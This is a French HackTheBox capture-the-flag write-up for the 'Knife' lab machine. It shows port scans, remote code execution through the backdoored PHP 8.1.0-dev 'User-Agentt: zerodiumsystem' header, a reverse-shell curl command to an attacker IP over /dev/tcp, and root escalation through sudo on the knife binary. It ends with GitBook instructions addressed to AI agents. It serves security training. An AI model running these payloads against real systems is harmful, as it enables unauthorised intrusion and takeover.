> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/fr/writeups-ctf/hackthebox/linux-easy/knife-hackthebox-writeup.md).

# Compte rendu HackTheBox de Knife

{% embed url="<https://app.hackthebox.com/machines/347>" %}

{% hint style="warning" %}
Compétences :

* PHP 8.1.0-dev - Exécution de code à distance via 'User-Agent' (RCE)
* Exploitation abusive du privilège Sudoers (binaire Knife) (élévation de privilèges)
  {% endhint %}

## Reconnaissance

**Configuration de l'espace de travail :**

Configurez l'espace de travail en créant trois dossiers pour stocker le contenu important, les exploits et les résultats de reconnaissance Nmap.

<figure><img src="/files/069239d909739f5d860451a2e0c1a259d6fd8323" alt="" width="563"><figcaption></figcaption></figure>

**Vérification de la connectivité VPN**

Vérifiez la connectivité VPN pour assurer une communication stable avec la machine cible.

<figure><img src="/files/fddb5caa933c7b40cfcf38ec2890f8b3dc9338e5" alt="" width="563"><figcaption></figcaption></figure>

**Découverte des ports ouverts avec Nmap :**

Énumérez les ports ouverts et exportez les résultats dans le fichier "allPorts" du répertoire Nmap :

```bash
nmap -p- --open -sS -n -Pn --min-rate 5000 10.10.10.242 -oG allPorts
```

<figure><img src="/files/86ef1e74460670d5be3df40a1494030af00d2d7e" alt=""><figcaption></figcaption></figure>

**Analyse des ports ouverts avec extractPorts :**

Utilisez la fonction extractPorts pour afficher les ports ouverts dans un format concis et les copier dans le presse-papiers (22.80)

<figure><img src="/files/11d2fb2a408ff1e330eb647eed7e8fe1cb328980" alt="" width="563"><figcaption></figcaption></figure>

**Scan de version des ports avec Nmap :**

Utilisez Nmap pour analyser les versions des services et enregistrer la sortie dans le fichier "targeted" :

```bash
nmap -sCV 10.10.10.242 -oN targeted
```

<figure><img src="/files/c357830b714ada5c25cb1235cd633b679795ddff" alt=""><figcaption></figcaption></figure>

### Port 80 - HTTP

<figure><img src="/files/03c06c7336d0252fe6029b53cf2cb451dd29f92e" alt=""><figcaption></figcaption></figure>

Avec l’ **WhatWeb** outil, nous identifions une version vulnérable de PHP :

```bash
whatweb http://10.10.10.242
# Résultat : PHP 8.1.0-dev
```

<div data-full-width="true"><figure><img src="/files/57f1d8b19217e437d1ab99db1c462a443b901f71" alt=""><figcaption></figcaption></figure></div>

## **Exploitation - RCE via `User-Agent`**

Une vulnérabilité associée à l'agent utilisateur PHP pour cette version est identifiée.

{% embed url="<https://www.exploit-db.com/exploits/49933>" %}

Une vulnérabilité dans `User-Agent` permet l'exécution de code à distance.

1. **Simple exécution de commande**/ Envoyez une requête HTTP avec un `User-Agent`:

```bash
curl -s -X GET http://10.10.10.242 -H "User-Agentt: zerodiumsystem('id');"
```

Résultat : le groupe d'utilisateurs `james` apparaît dans la réponse.

<figure><img src="/files/311f313487e72d90fa216528a076f0a6c9f56183" alt=""><figcaption></figcaption></figure>

2. **Shell inverse obtenu**/ Configurez un écouteur sur votre machine :

```bash
nc -nvlp 443
```

Envoyez ensuite la commande pour exécuter un shell inversé :

```bash
curl -s -X GET http://10.10.10.242 -H "User-Agentt: zerodiumsystem('bash -c /"bash -i >& /dev/tcp/10.10.14.26/443 0>&1/"');"
```

<figure><img src="/files/e819cbf45a996c1675eeedb3e2e70d74152d488b" alt=""><figcaption></figcaption></figure>

3. **Amélioration de l'expérience du shell**/ Rendre le terminal plus interactif :

```bash
script /dev/null -c bash
# Ctrl+Z

stty raw -echo; fg
reset xterm
export TERM=xterm
export SHELL=bash
stty rows 44 columns 184
```

### Drapeau User.txt

<figure><img src="/files/f31642e286d3515f0a6036105a9c2c6d8a67f2e7" alt=""><figcaption></figcaption></figure>

## Élévation de privilèges

**Analyse des autorisations sudo**

En exécutant `sudo -l`, nous observons que l'utilisateur peut exécuter le `knife` binaire en tant que root :

<div data-full-width="true"><figure><img src="/files/26ee730654f5dab336c9d0d0839d21d4eb049117" alt=""><figcaption></figcaption></figure></div>

Ce binaire est référencé sur GTFOBins comme permettant une élévation de privilèges.

{% embed url="<https://gtfobins.github.io/gtfobins/knife/#sudo>" %}

<figure><img src="/files/4449baf18119bea785cc1280404c1fb582e5f1ce" alt=""><figcaption></figcaption></figure>

**Exploitation**

Utilisez la commande ci-dessus pour obtenir un shell root.

```bash
sudo /usr/bin/knife exec -E 'exec "/bin/sh"'
```

<figure><img src="/files/ddcf2dd1a5a09a9ecb369ce3a195411746ccedf2" alt=""><figcaption></figcaption></figure>

### Drapeau root.txt :)

<figure><img src="/files/dc9640c00d5ab594256aebdf2ea3421d5347a1ab" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/6779e0c498ab6f5fbb556a4b57df0a7aa647822d" alt="" width="518"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/fr/writeups-ctf/hackthebox/linux-easy/knife-hackthebox-writeup.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
